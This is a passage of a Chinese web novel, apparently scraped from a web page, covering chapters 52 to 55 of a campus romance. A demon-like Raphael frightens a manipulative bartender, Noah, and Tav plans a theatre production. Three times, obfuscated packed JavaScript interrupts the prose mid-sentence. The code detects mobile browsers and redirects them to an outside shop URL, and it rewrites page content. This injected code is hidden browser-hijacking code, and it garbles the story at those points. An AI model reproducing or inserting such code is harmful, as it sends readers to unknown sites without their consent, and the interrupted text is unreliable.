塔夫清楚,对这种人越同他说他便越开心,其实刚才那一眼都不应该去看他。与弗兰几人告辞后,她便准备直接离开。 “而且他连酒都不会喝,可真是没胆子也没品味。”没想到诺亚仍在身后喋喋不休。哪怕塔夫没给他一点回应,他还是跟着她一起离开,倒像是刚才特意在等她,嘴里则继续嘲讽道, “原来你是这么没眼光的人!” . 52.恐惧 “原来你这么没眼光!” 见塔夫仍不理他,诺亚更加恼怒, “挑的人既便宜又小气,还不会讨好姑娘。白吃白拿要你服务,之后不主动帮忙也就算了,甚至连客气一下都懒得装!”他声音越来越高,最后伸手想拦住她让她停下, “你既然是那种喜欢倒贴、喜欢献身的类型,当初又对我装什么……咳!咳!” “拉斐尔!”塔夫惊呼。 不过一瞬,诺亚只脚尖勉强点在地面,金色领带夹掉在地面上发出一声轻微的脆响。 诺亚身材相当高大,虽然经常饮酒纵欲倒也没疏于锻炼,和一般人比起来还是更加强壮,没想到被拉斐尔直接揪着领带轻松提到半空中,肮脏的话没说完就被卡住喉咙。而他只能剧烈咳嗽着,双手死死扒着领带,毫无还手之力。 “餐厅什么时候养了一条狗?”拉斐尔轻声问,“似乎需要更多训练。” “咳!放我……咳,下来……咳,巡!警!” “先放下他。”塔夫说。 “哦?这可能不是一个好主意。”拉斐尔仍看着诺亚,似笑非笑,“狗需要收紧项圈才能知道自己的位置。” “咳!警!……呜。呜!” “请放下他。”塔夫看到几位同事也围了过来,又说一遍,“拉斐尔,先放下他。” 拉斐尔转头盯了塔夫一会,松开手。 诺亚落回地面,干咳几声。接着,他第一时间弯身拾起领带夹,这才终于退开几步。 他脸色仍然青紫,因为出了丑而恼恨至极,看到自己身边人多,而拉斐尔只有一人,又顿时怒从心起,更忘记自己想要挖苦的是塔夫,转而攻击拉斐尔,刚才那一套话肆无忌惮地又说一遍,最后一把拉过塔夫: “你多可悲啊!连女朋友都不站在你那边!都不帮着你说话!” “少来了!我只是不想他为你这种人惹上麻烦。”塔夫厌恶地甩开诺亚,又上前一把捉住拉斐尔的胳膊,牢牢握住他的手,以防他再次做出点什么,转头冲诺亚轻蔑说, “因为那可太不值得了!” “你说什么?”诺亚表情扭曲,向前靠近一步,被拉斐尔一瞥又下意识退后半步,瞪着塔夫,“你敢再说一遍吗?” 塔夫气得哼一声:“我刚才是懒得理你,你倒是自己找骂! “我的眼光我自己清楚得很!如果你觉得我的眼光有问题,那纯粹是因为你自己有问题!是我主动邀请的他,他来这里本就是不想让我为难,点了便宜的饮料是为了不给我增加负担,这是他的关心!而你根本什么都不知道! “至于帮忙收拾,他来这里又不是为了讨好谁,我也不需要被谁讨好!倒是你,我可从没有见过你帮过我们任何一次忙,虽然你总是很有功夫见缝插针地跟姑娘调情——但你不会以为自己很风趣很有魅力吧?那只是在耽误我们的工作!” “哈!哈!你是被我说中了,恼羞成怒了吧。”诺亚大笑,看向周围,“原来你一直偷偷看我和其他姑娘调情?什么关心、讨好,我看你是在嫉妒,你就是想要被我……” “闭嘴。” 那声音很轻,却清晰传入诺亚耳里,带着可怕回响,仿佛魔鬼的低语, “如果你再敢说塔夫一个字,我向你保证,那会是你的最后一个。” 诺亚不由自主打了个哆嗦,看到身边几位同事表情多是难以置信甚至奚落嘲弄,又看到塔夫仍然紧紧抓着拉斐尔胳膊不放,难堪之余更加怒气勃发: “你吓唬谁呢?” “那不妨,试试看。”拉斐尔微笑看着他,眼瞳几乎竖起。 “哈!”诺亚梗着脖子,正要说什么更加恶毒的言语,却发现自己口中空空如也。 “我的舌头!”他一下子吓得涕泪横流,跪在地上,张开嘴,伸手去找自己的舌头,含糊地哭道,“我的舌头不见了!” 周围的人顿时鸦雀无声,只看到诺亚双手死死抓住舌头,使蛮力向外拉扯:“我的舌头!”也不知道是因为疼痛还是恐惧,拽了几次后,他直接晕死过去。 一片死寂中,弗兰第一个反应过来,蹲到诺亚身边:“有呼吸。” 她有些惧怕地看了拉斐尔一眼,还是快步凑到塔夫身边, “你,他……唉,你赶快先回去吧。我们会把诺亚锁到员工休息室,明天早上再说。不,你不用来。周六正常来上班就好。” …… 回去的路上,拉斐尔看上去很平静,仿佛没有任何事发生。而塔夫仍有些惊疑不定。一时间二人都没有说话,塔夫也忘记自己始终与拉斐尔十指相扣。 “刚才你没事吧?” “没有吓到你吧?” 两人同时开口,又同时回道: “没有,没吓到。” “酒保那番话的确恶劣,还好有你的话安慰我,甚至远远不止。谢谢你刚才维护我,那让我感觉到被关心和被理解。酒保说什么对我来说根本无关紧要,我在意的是你的看法。希望你也没有被他坏了心情。” “……”塔夫怔了怔,“你说的可真,面面俱到,得好。你刚才没说话,是在练习这段吗?” 拉斐尔轻咳:“一两遍。” 塔夫噗嗤笑出声。她之前隐约察觉到,拉斐尔似乎也从来没怎么道过谢,不过显然这不再是一个“危险信号”,就是太教科书式的一板一眼啦。她心里柔软:“也谢谢你刚才为我出头。” “当然。”拉斐尔笑着看向她。 塔夫又瞧着他一会,这才移开视线:“不过最后那场面确实有点惊悚。你对诺亚做了什么?” “一些心理暗示。他醒来就会消失。” “不是魔法?像翼猫那次?” “不。只是激起他内心中的恐惧。” “什么恐惧?” “没办法用几句话讲清。” “我要听你说嘛!不能丢下一点细节!”塔夫话说出口才发现,她把拉斐尔直接当成卡菈克撒娇了,后知后觉想要收回手,拉斐尔却立刻握紧。塔夫还有些不自在,拉斐尔已经解释起来,声音极有魅力,很快就把她吸引住了。 “每个人都有欲望。人们想要欲望得到满足,但同时又一种隐秘的想法:逃避或推迟付出。” “没有那么隐秘吧。不劳而获,或者说得没那么糟,过于理想化。”塔夫应和道,“比起漫长的过程、可能的失败,当然还是目标实现更令人愉快。” “是的,这是非常正常的想法,在一定程度上。 “不过有些人,因为某些原因,心底会有一种近乎强迫性的焦虑和渴望,希望别人能够满足他的所有需要和要求。 “这是很难实现的,但他并不会这么认为。相反,他会认为受到不公正的待遇和亏欠,并发展为怨恨与敌意。” “这和恐惧有什么关系?”塔夫忍不住问。 “恐惧由抑制而生。 “他需要压抑自己的想法,掩藏对周围人的敌意。因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105051|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他其实清楚,如果别人知道了他的真实渴望以及心底的怨恨,就一定会远离他,而那意味着他丧失了利用别人的机会。所以他无时无刻不处于恐惧中,害怕被别人发现那个面具之后的自己。 “不过大多数时候,这种焦虑、敌意还有恐惧并不是有意识的。利用别人来满足自己的方式或面具也不尽相同,可以是顺从依赖,也可能是支配剥削,甚至占据道德高点的‘无私奉献’。” 塔夫认真倾听,时不时问几个问题。二人走到校园,拉斐尔开始讲起这次的事情: “刚才那位酒保,他的需要从表面来看是女人的注意。而他最常使用的方法,应当是摆出迷人的态度,花言巧语讨好对方。 “到一定阶段后,他恐怕会有类似的表达‘既然我们关系不错,不如你请我喝一杯’。从几乎是调情的小请求开始,筛选出目标再提进一步要求,比如金制领带夹一类的贵重礼物,直至负担更多他的花销。” 塔夫诧异:“你之前就认识诺亚吗?” 拉斐尔笑着说:“今晚我第一次走入这家餐厅。” 塔夫更加吃惊:“第一次见面,他居然就会对你存在这么大的敌意?” “他将对你的敌意转移到了我身上。他嫉妒我,因为我得到你的主动邀请。同时他也蔑视我,因为我居然只点了一杯茶。接着,他发现自己的话语激不起你的任何反应,感到无力和恐惧,但通过愤怒的形式表现出来。 “既然他没有意识到内心的恐惧,我便帮他好好感受了一下,这是我的……天赋。效果倒是很直接,他害怕失去花言巧语的能力——这是他利用别人的最主要手段,那么恐惧就表现为,他以为自己的舌头缩了回去。” 塔夫仍有些狐疑:“真的没有任何幻术?诺亚当时直接把自己吓晕过去了。” 拉斐尔回道:“人的想象力可是无穷的。” “这话可不是这么用的。”塔夫好笑地瞥他一眼,“不过,既然诺亚自己都没意识到那恐惧,你又是怎么知道的?” “我可以感觉得到,就如同你对气味更加敏感。” 塔夫忽然想起什么,偏头看向拉斐尔:“你之前也闻过我的恐惧,是吗?” “……” “喔哦。你闻过。” 拉斐尔顿了下,没有回答,重新说起对酒保的心理暗示,塔夫却继续道:“第一步是找到没有满足的愿望?所以签订契约那天,你才会那样!说了很多我未来可能想要做的事。” “你在生气吗?”拉斐尔不解问,“我们又要为之前已经发生过的事争吵了吗?” “我刚才没有。”塔夫又好气又好笑,“不过你这么一种问法,我现在倒是真的有点想生气了。” 拉斐尔拇指在她手背上轻轻画着圈,像是思索时无意识的动作,又像是在向她求和。 “我是在好奇。”塔夫使力夹了一下他的手指,他不再打转,更用力地回握住她。塔夫叹口气,“我想知道我心底的恐惧是什么,会是自己都没有意识到的吗?” 她停下脚,抬头望着塔楼尖顶,长长松一口气,“我挺想问你,但是好像又有点害怕知道。而且我也到宿舍了。这大概意味着我至少可以不用在今天知道。” “不是每个人都有这种近乎焦虑性的恐惧。”拉斐尔捏捏她的手,微笑道,“别担心,我那时并没有找到你的。” 塔夫:“所以你果然真的找过啊!?” 拉斐尔:“……” . 53.准备 塔夫得意洋洋瞧着拉斐尔: “等我们下次见面时,再就这件事好好说一说!” 拉斐尔似笑非笑回望她,塔夫终于被看得有些难为情,轻咳一声解释道:“我是真的很好奇。哪怕没有结果也好奇过程,而不是要跟你挑事情算旧账。瞧,我没有非要在今天把事情说清楚。” “那我倒应当感谢你,给我准备的时间啰?” “不客气。”塔夫笑着说。虽然不舍,她还是松开握着拉斐尔的手,“周六排练见。” 但拉斐尔仍没有离开。 晚上的意外打乱了他的计划——没想到自己能和塔夫就这件事聊一整路。 可时间的确有些晚,他思索片刻,最后只是问:“明天你和菲拉约几点见?” “很早,第一堂课之前。你那时有训练是吗?” 拉斐尔点了下头,有些遗憾。 塔夫日程紧,他的也并不松快。既然她已经决定周六再见,更有五周后的约定,他也不好过分殷勤,追问她什么时候可以提前见一面。除了显得自己连这点耐心都没有,恐怕也会让她感到多余的压力。 尽管如此,也尽管有很多话想和她说,不过有一件最重要的事,他非得今晚说不可。 邀请塔夫一起度过校友日的第三天,包括一次早午餐、两场鸡尾酒会、晚宴以及最后的校友慈善舞会,其中任一场或全部。 “不需要现在给我答复,你甚至可以等到前一天或当天再告诉我。”拉斐尔说着忍不住微笑, “我只是希望尽早告诉你,希望你在做相关决定前,会想到我的邀请。” 塔夫看向他的眼睛一直弯弯的、亮晶晶的,她几乎是立刻回道:“我当然不会让你等那么久。” 这回应也许缺少了些矜持,但又是多么可爱! 拉斐尔心里更加欢欣鼓舞:“如果你愿意的话,请把这当作我的约会邀请。正式的约会。” 我们的第一次约会。 仔细想想这个日期真是棒极了。如此一来,每一年的校友返校日,都会是他和塔夫第一次约会的纪念日,甚至会收到学校寄来的“庆祝”邀请,提醒她不要忘记——因为他的记性很好,是不会忘记的。 回去的路上,拉斐尔才想起来自己没有把《不幸的故事》第三卷给塔夫。亏他刚才还在餐厅读过。 他匆匆折返,一直走到塔夫的宿舍塔楼下,这才察觉自己这行为有些可笑。而且,也许塔夫还没有看完第二卷,他下次要先问问看。唔,也要记得问她喜欢看什么。 …… . 第二天一早,塔夫便提前邮寄出短笺,请船务公司回函她四周后的船票信息——她通常会再过两周,等复习周开始后才询问。 好在校邮局就在活动中心旁,倒也十分方便。 塔夫在中心外遇见菲拉和里萨。没过多久,“木乃伊”泽希诺也按时赶来。 她在剧团负责服装、化妆和大部分道具,高高瘦瘦,喜欢穿条纹紧身衣服,戴粗大的仿金首饰,还常常裹着头巾,这个绰号是她自我介绍时说的,大家便都这么叫她。 四人都有经验,驾轻就熟地定下期末后需要做的事情。 除了演出本身相关事宜以及里萨的新灯光(已经有了雏形),还要准备宣传海报、兜售用的小册子、同学生餐厅确认当天提供的零食等等。 “演员名单需要更新。”塔夫蘸了下羽毛笔,“宣传海报也可以多来几个版本。” 菲拉点点头:“强调拉斐尔和阿斯代伦。” 泽希诺赞同:“至少得有一张拉斐尔和萝拉的双人海报。可惜阿斯代伦和萝拉一点爱情戏份都没有。我之前就应该提议加亲兄妹的内容!真是好可惜啊!” 塔夫无奈:“你明明每次都会提起好吗!但你这想法根本过不了审!” 菲拉笑着瞧塔夫一眼:“双人海报可以稍微……朦胧掉萝拉,比如只有侧影,增加氛围感和代入感。” 里萨也建议道:“阿斯代伦的话,不如和拉斐尔来一张有决裂之感的海报。” 菲拉立刻点头并联想:“比如两人面朝不同方向,因为萝拉而形同陌路。” 泽希诺:“我喜欢我喜欢!标语可以是‘无法抉择的爱’!” 塔夫:简直是虚假宣传。 她总结:“兄妹爱不行就是不行!其他听上去都很吸引人!” 又咬咬牙,“剧团今年的预算还剩下不少,我们甚至可以考虑请一位法师,放置等身幻影用来宣传。” 另三人面上都显出兴奋之色,异口同声:“好喔!” …… 一项项待办事项列出,又分配好责任。 塔夫和菲拉很快要赶去上第一节课,由里萨和泽希诺在公告栏贴上排练计划。 刚离开活动中心,菲拉就忍不住挽起塔夫胳膊:“不过两周,里萨和萝拉的关系好像更亲密了!” 她脚步和话语都没有任何停顿,“一周两次心理咨询,她们一起去一起回,简直成了无话不谈的好朋友!”说着说着又不禁伤心起来,“我和里萨认识了十几年,可我们从来没有说过那些。为什么她不向我倾诉呢。” 塔夫安慰说:“但她告诉了你与萝拉、与咨询师说过什么,这说明她很信任你呀。” “没有细节啦,只是一些倾诉之后的感受和感概。你知道,她开始对需要找咨询师很是嗤之以鼻。” “也许正是因为里萨和萝拉不太熟,才能更容易地对她开口?”塔夫想了想, “你和里萨关系这么好,她知道你一定会偏向她,所以想要从更陌生的萝拉那里寻找一些中立客观的反馈?她肯定很信任你,但可能担心同你讲了之后,让你发现她和你印象中的那个人不太一样,结果让你们的关系发生改变?” “怎么会?”菲拉顿了下, “好吧,有道理。我其实也一直很害怕我们的关系改变,所以一直不敢跨过那道门槛。如果我们发现新的关系没有那么好,却又没办法退回到现在的状态,连朋友也做不成的话……那可真是太可怕了!”她忽然哽咽了一下, “可是哪怕我大概能够理解,但为什么,我还是好不甘心啊……” 塔夫停下脚步朝菲拉转过身,刚伸出手,菲拉已经很有默契地扑进她怀里,靠了会又猛地站直: “糟了!要快去上课了。” 塔夫被吓了一跳,菲拉又重新抱住她,语气已经轻快起来:“谢谢你塔夫,你和拉咳嗯,有什么需要的比如助攻什么的,也和我说呀!” 塔夫有些好笑又无奈地在她背上拍了拍:“周六见啦!” . 周六下午。 虽然错过两周排练,但演出效果反而比上一次更好。 萝拉似乎仍有些怕拉斐尔。 不过也许是时间冲淡了一些恐惧,也许是心理咨询起到一些效果,她对拉斐尔已经能够保持着一种客气的疏远态度。 虽然她还是会时不时地流露出一些畏惧,但那不经意间的胆怯和退缩,反而让她的表演更加生动可信。 哪怕菲拉因为里萨对萝拉有所怨言,也忍不住称赞了好几次:“萝拉请你一定要保持这个状态到正式演出!”她瞄了塔夫一眼,“拉斐尔也是!” 阿斯代伦慢悠悠地表达不满:“我呢?” 菲拉立刻说:“阿斯代伦也是!大家都是!非常好!” 塔夫哭笑不得:…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115320|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她忍不住看向拉斐尔,他也正朝她望来,又挑了下眉毛。塔夫肯定,拉斐尔和自己一样想到了上次防身课的警官,笑着冲他轻轻点了点头。 . 这次排练的顺利给塔夫和菲拉很大信心,她们决定把下次排练提前定为预演,期末两周则直接休息。 “会上妆,并穿戴正式演出的服装。”菲拉说,“能提前一两个小时来最好,否则可能会晚点结束。” 泽希诺展开卷尺,口中念念有词地同阿斯代伦确认身高、肩宽和臂长时,塔夫也问起他和拉斐尔对宣传的想法: “如果没问题,下周我便可以联系绘画部来做速写,准备海报。”——这样可以早些交付给印刷社打印。而法师塔的法师不一定能这么容易联系上,暂时作为惊喜。 “当然没问题,达令。”阿斯代伦正舒展手臂,只是优雅地点了点下巴。 同二人确认无误,塔夫看下时间,决定必须得赶去兼职了。她匆匆与菲拉和大家道别,最后望向拉斐尔,他飞快比了个口型:一会见。她立刻微笑起来,又迅速移开视线转身离开。 . 到了餐厅,塔夫囫囵咬着晚餐的三明治,竖起耳朵仔细听弗兰和另一位侍者姑娘说着周二晚上诺亚的后续。 “我们好几个人一起才把他搬回了员工休息室。”侍者姑娘道,“啧,他可真是够沉的。” 弗兰努努嘴:“喏,差不多就是你现在坐的那里。” “你们早说啊!”塔夫立刻抓着三明治换了个位置。 侍者姑娘给她挪地方,笑道:“已经过了好几天了。” 哪怕金币和支票都锁在休息室的保险箱中,弗兰仍有些不放心。因为诺亚每隔几天就会抱怨一次,像他这样英俊的男人是不应该缺钱花的。 所以,她们还是拍拍诺亚肩膀,见他没有反应,又打湿几条毛巾(用来擦桌子的),朝他脸上拧水,最后总算是把他弄醒了。 “他醒过来之后,应该是很想装出一副满不在乎或者帅气的表情,但别提多扭曲多可怕了,简直是能让人做噩梦的程度。”姑娘啧一声,又笑起来,“也不知道是因为他还在害怕,还是因为被淋了一头一脸的抹布水。” 弗兰补充说:“帮厨姑娘一直偷偷喜欢诺亚——他那金领带夹就是她攒钱送的,诺亚当时还炫耀过。她没听到他之前的话,赶出来的时候只看到他把领带夹捡起来,以为是因为诺亚在意她的礼物,即是在意她的心意,还暗自开心。她脸上藏不住心事,我在一旁看得一清二楚,唉,可真是个傻姑娘。好在后来她看到他那种种丑态,受到极大冲击,算是暂时失望了。” “这样居然只是暂时?” “这种事说不准。诺亚第二天过来的时候,已经重新变成那副风度翩翩的模样,就好像什么都没有发生似的和每个人打招呼。”弗兰摇摇头。 “说起来,他那种态度,一开始反而是让我有点尴尬呢!”侍者姑娘撇撇嘴,“但是弗兰有办法,特意去‘安慰’了他一番,告诉他大家都只会在心里记着那事,顶多私下偷偷说,一定尽量避免在他面前提起让他难堪。啧,真想让你也瞧瞧诺亚死撑面子的样子,笑死人了。” “侏儒奶奶知道这件事了吗?” “我还没跟老板说。”弗兰叹口气,“毕竟,诺亚的调酒水平很好很稳定,而他那张俊脸和巧嘴也的确能吸引不少年轻顾客,这是我们的食物不太容易做到的。” 弗兰谈起生意上的考虑,塔夫和另一位姑娘都“嗯”了声,没再继续。 塔夫其实有点好奇诺亚重新见到自己会是什么反应,又立刻决定还是别和他见面才是。 没想到他居然找了过来。 . 54.受害 诺亚是在餐厅生意最热闹的时候来的。 弗兰脸色微变,盯着他:“明晚才是你的班次。” 她着重强调班次,警告对方他可是还在餐厅工作,她也仍是他的经理。 诺亚露出忧郁的表情:“我是来找塔夫的。” “这个时候?你也看见了。她走不开。” “别这么不近人情,弗兰。”诺亚眉毛压低,一双眼睛显得更加惆怅多情, “我是来同塔夫谈谈周二的事情。除了今晚,我还有什么更好的时候能见到她呢?你应该认同的,这种事当然是越早说越好。我特意抽空,在非工作日的周末赶过来,难道你连员工之间真诚的道歉也要阻止?” 说得好听。那你怎么不早点来,偏挑这个时候?弗兰心里暗骂。 “好吧,看来我只能点点儿什么,坐在塔夫的区域,让她来为我……” “你给我等等。”见塔夫正好结束一桌,弗兰终于还是朝她招招手。 塔夫一看到是诺亚,又立刻望向弗兰。 弗兰压着火,斜一眼诺亚,大声对塔夫说:“快去快回,别走远,有事立刻回来。”她接着请另几位侍者暂时替塔夫,“因为诺亚一定要这个时间找塔夫说几句。” 诺亚露出一副难过不解的表情,像是因为弗兰那番话受到极大的委屈。塔夫心里本就警惕,又升起厌恶,感激地朝弗兰点下头,跟在诺亚身后离开餐厅。 . 二人走了几步仍没有停下的迹象。 塔夫见诺亚似乎想要一直走到码头,停下脚,开口就是低斥:“在这里就可以!” “别这样对我充满敌意,塔夫。”诺亚也跟着停下, “我以前就发现了,你总是很情绪化,很容易就发怒。这可不太好,无论对别人,还是对你自己。其实你也是清楚的,不是吗?”他声音变得低柔,“你说出伤人的话之后,肯定会懊恼后悔,觉得自己太过分吧。我相信你还是想要变好的。” “你到底有什么事?”塔夫被激起怒意,“少说废话!我脾气好不好轮不到你来说!” “瞧,你这就又生气了。”诺亚反而笑了,“你真的不知道我是为了什么来找你?” “不是道歉的话我就回去了!” “那天我的确有些失态。”诺亚摇摇头, “但我说的那些话都是为了你好,因为我太过担心你了——我很担心你和‘那种人’在一起会吃大亏。可惜你没有理解,立刻就错怪我了。” 被诺亚用大约是宠溺地眼神瞧着,塔夫不得不做了一个深呼吸,才能顺着他的意思问出口: “哪种人?” “就是你以为体贴的那种人,可你被他骗啦。”诺亚冲她微笑着叹口气, “一开始的时候,他总是会装作善解人意、关心你为你考虑的样子。等你落入他的陷阱,他就会卸下面具对你露出獠牙。你还是学生,涉世未深,看不出他的伪装。但我是男人,我知道,所以我那天才想要保护你。” 他显然说的是拉斐尔,但又显然不是拉斐尔。 为别人考虑? 塔夫瞠目结舌,生出一股荒唐之感。事实上,诺亚简直是在重复那天晚上拉斐尔对他的一番猜测,他知道他这是在自我剖析吗。 诺亚勾起唇,平心而论那张脸的确很帅气:“你在想什么呢,小傻瓜?知道真相被吓到了?也终于意识到你错怪我了?” 塔夫胃里泛起一股恶心。这是她觉得拉斐尔可爱时曾使用过的形容!现在彻底被毁了! 她本来还想维持表面上的礼貌,毕竟她和诺亚仍算是同事,也不想让弗兰太过难办,此时忍不住直接戳穿他: “我以前还不太清楚,不过现在总算是明白了什么叫作‘你眼中的别人,才是真正的你自己’!” 诺亚脸色迷惘一瞬,又立刻露出更加帅气的笑容: “我很惊讶你现在才终于明白过来。不过没关系,什么时候清楚都不算迟。我不会介意,虽然是有那么一点失望在,但我当然会原谅你的迟钝。正是因为你的迟钝,你才需要我在你身旁为你辨明危险呀。” 塔夫:“???” 看着诺亚自负甚至称得上卖弄的模样,她突然反应过来,诺亚眼中的“真正的自己”,是说他很帅气迷人?他以为她刚才那句是在夸奖他? 不是吧…… 似乎还真是? 正当塔夫以为自己没办法更加无语的时候,诺亚笑容加深,调整出最帅的角度,微微抬起下巴,左脸下颌线斜斜对准她,表情忧伤地说: “那天晚上,因为你在冲动之下对我说出的那些话,我一整晚都痛苦不堪,无法入睡。你刚来的时候,我可是替你跟弗兰说了不少好话,所以你才能留下工作。没想到你居然会这样对我,这简直让我难过得无法相信。” 他又重新望向塔夫,露出理解的笑容:“不过我知道你是被蒙蔽了,现在也认识到自己当时话说得过分。既然我已经说过会原谅你,不如你一会请我喝一杯,我们就算是和好了。” 塔夫:“……”我看你是把脑子喝坏了吧! 她努力忍住翻白眼的冲动,准备要好好嘲弄诺亚一番,装出后知后觉的害怕模样:“这真是太可怕了!真是让人想不到,竟然是这样!” 诺亚上前柔声安慰:“别怕,有我陪着你,你就不会再害怕了。等你下班了,我们还可以再一起喝一杯。” 塔夫后退一步避开,不搭理诺亚,继续自顾自震惊道:“他竟然是这种人!原来这一切都是他的设计!”她崩溃地带上哭腔,“太过分了!他竟然从一开始就骗人!” 诺亚倏地皱起眉毛,没有回答。 表演得太过浮夸,被他看出来了?塔夫正奇怪,一道低沉悦耳的声音在身旁响起: “哦?” 塔夫猛地转过身,望见拉斐尔。不知道他听到多少,怕他误会,连忙朝他使眼色,拉斐尔却始终盯着诺亚: “真是让人想不到,竟然被你说中了。” . 在拉斐尔的感受中,剧团活动在塔夫离开后仍持续了至少一个小时。 ——或者实际上,不到十五分钟。 泽希诺记下阿斯代伦身体的数据后,捏着卷尺和本子来到拉斐尔身边,被他回绝了: “我会自己准备演出服装。” 阿斯代伦清晰响亮地“啧”了几声,朝拉斐尔意味深长地摇摇头。 拉斐尔面无表情地继续说明理由:既然他的演出服装没有什么特殊,不过是几套正式西装,他不需要泽希诺为他特意剪裁调整戏服。 “你的那些衣服,由剧里的吉姆来穿的话,”阿斯代伦拖着长音,“可不太合适呢。不如让泽希诺量量看。” 泽希诺跟着笑了下:“应该更像是,吉姆穿不起。” “我当然会准备适合剧本背景的服装。”拉斐尔说这话时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128920|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于皱眉盯向阿斯代伦,他随手理了下银色卷发,翻了个“你可真没意思”的白眼,又微笑和剧团大家道别:“下周见达令。” 拉斐尔直接来到镇上,轻车熟路走入一家安静的心理咨询诊所——从厚重窗帘遮掩的几扇窗户后,可以看到码头一景,以及不远处塔夫兼职的餐厅。他随手翻着某学者对几千年前九狱与费伦大陆界域融合的最新考古发现,偶尔(事实上比偶尔要更频繁)抬起头看一眼时间和对面。 直到他看到一个令人不快的身影。 ——酒保。 对方明显打扮过,气质与那天晚上相比,更凸显温柔俊美的一面,正满怀自信地走向塔夫所在的餐厅。 呵。 虽然拉斐尔完全信任塔夫自己就能轻松解决这问题,还是立刻放下书站起身,刚赶到餐厅门口,便看到塔夫和酒保一起离开。 塔夫皱眉垂眼思索,酒保观察着她的表情,两人都没有发现他,于是他跟在二人身后,从头到尾听了一整场“我这么做是为了你,你对得起我吗?”式的情绪控制表演。 而当他听到塔夫的控诉时,哪怕心里清楚她并没有上当,也不得不加入这场即兴演出了: “哦?真是让人想不到,竟然被你说中了。” . 诺亚一愣,像是没料到拉斐尔会主动承认,很快又一脸慨然道: “也许你有其他苦衷,同为男人我也很能够理解你,但我毕竟认识塔夫多年,实在有些不忍心看她犯傻。” 塔夫则差点没笑出声。 拉斐尔那句是在模仿她刚才的语音语调!他简直越来越擅长了! 而诺亚连这都听不出来,估计根本没听她说什么,就只顾沉浸在自己的雄辩和说服她的喜悦之中。 她实在无法压下唇角,怕被诺亚看出,连忙垂下头又掩住脸,从指缝往外看,忍笑忍得肩膀发抖。 “别难过。”诺亚瞟了眼身旁人流、两侧热闹的餐厅,这才继续对塔夫说道,“你已经知道他的真实意图,还能够离开他对你的掌控,事情没有那么糟。” 他想要上前安慰塔夫,拉斐尔轻哼一声,他又不由自主后退半步,已经摆出一副随时准备逃跑的姿势。 塔夫终于忍不下去了,声音颤巍巍地问:“你在害怕什么吗?” 诺亚咬了咬牙:“你恐怕也看出这一点,他有严重的暴力倾向!但你、你不用害怕,现在这么多人,他不敢做什么。如果、如果他真的做出什么,那更说明他根本不考虑你!” 他居然好意思这么指控别人?也不看看找她“谈谈”的这个好时间? 塔夫放下手,诧异瞧着诺亚:“我的意思是,你现在还这样混淆是非、颠倒黑白,就不害怕再次失去舌头吗?” 诺亚——在拉斐尔的微笑注视下——硬生生打了一个寒颤,张口结舌:“什,什么?” “你听到我说了什么。”塔夫用拉斐尔居高临下的口吻回道。 她冲诺亚扬起下巴,又朝拉斐尔抬起手。 啪——! 拉斐尔在她掌心击了一下,发出一声脆响。 塔夫笑着看向拉斐尔,对二人之间的默契十分满意。 下一秒,拉斐尔便立刻再次“会意”,紧紧握住她仍举在半空中的手。 塔夫:“……” 真是的,原本充满默契的胜利击掌,一下就变成拳击手结束比赛之后的致谢啦! . 55.在上 塔夫无奈瞧了拉斐尔一眼,轻咳一声,收回手。 诺亚看着二人,表情从愤恨,很快变成惋惜: “你还没有意识到吗,塔夫?他甚至直到现在也没有任何否认或解释。你太年轻了,所以才会被一点情爱蒙住眼睛,我为你感到难过。” 塔夫想起拉斐尔几天前的话,忽然意识到诺亚恐怕并不认为自己在搬弄是非,他是真的对他自己那番话深信不疑。他不认为自己有错,反而是被辜负、被误解的人。 有些糟糕的是,她又想到拉斐尔其实也是这种认为自己没错的性子。 不过与诺亚“心里想要的是一种、说的做的却是另一套,而且不仅不承认甚至连自己都能骗过去”相比,拉斐尔是直接了当的:他想要达成某个目的,那便做了,造成什么后果另说,但他的做法何错之有的……坦荡。 说实话,她对两种“我没有错”的态度都不太喜欢。但如果非要挑一个更讨厌的话,应该是诺亚这种吧。 诺亚没有听到任何回答,遗憾摇摇头: “算了,我已经做了我能做的,我对得起和你相识的这一段时间。” 他准备离开,却被拉斐尔一把抓住后领:“是否结束可不是由你来决定。” 诺亚逆来顺受地看着塔夫,满脸“这你都能忍?”的不解。 塔夫被他这么一瞧,恶心和怒气一起回归,当然是诺亚这种更讨厌! “恐怕我说了你也听不懂,所以你只要知道这一点就好,餐厅大家早就看穿你了!”塔夫说得实在不过瘾,又接着讽刺道, “你自以为是,毫无自知之明,连我那么明显的讽刺都听不明白,真是白白浪费了一张好看的脸!” 拉斐尔突然扭头盯了塔夫一眼。 塔夫立刻说:“甚至也没有那么好看!” 拉斐尔叹口气,又瞪她一眼。 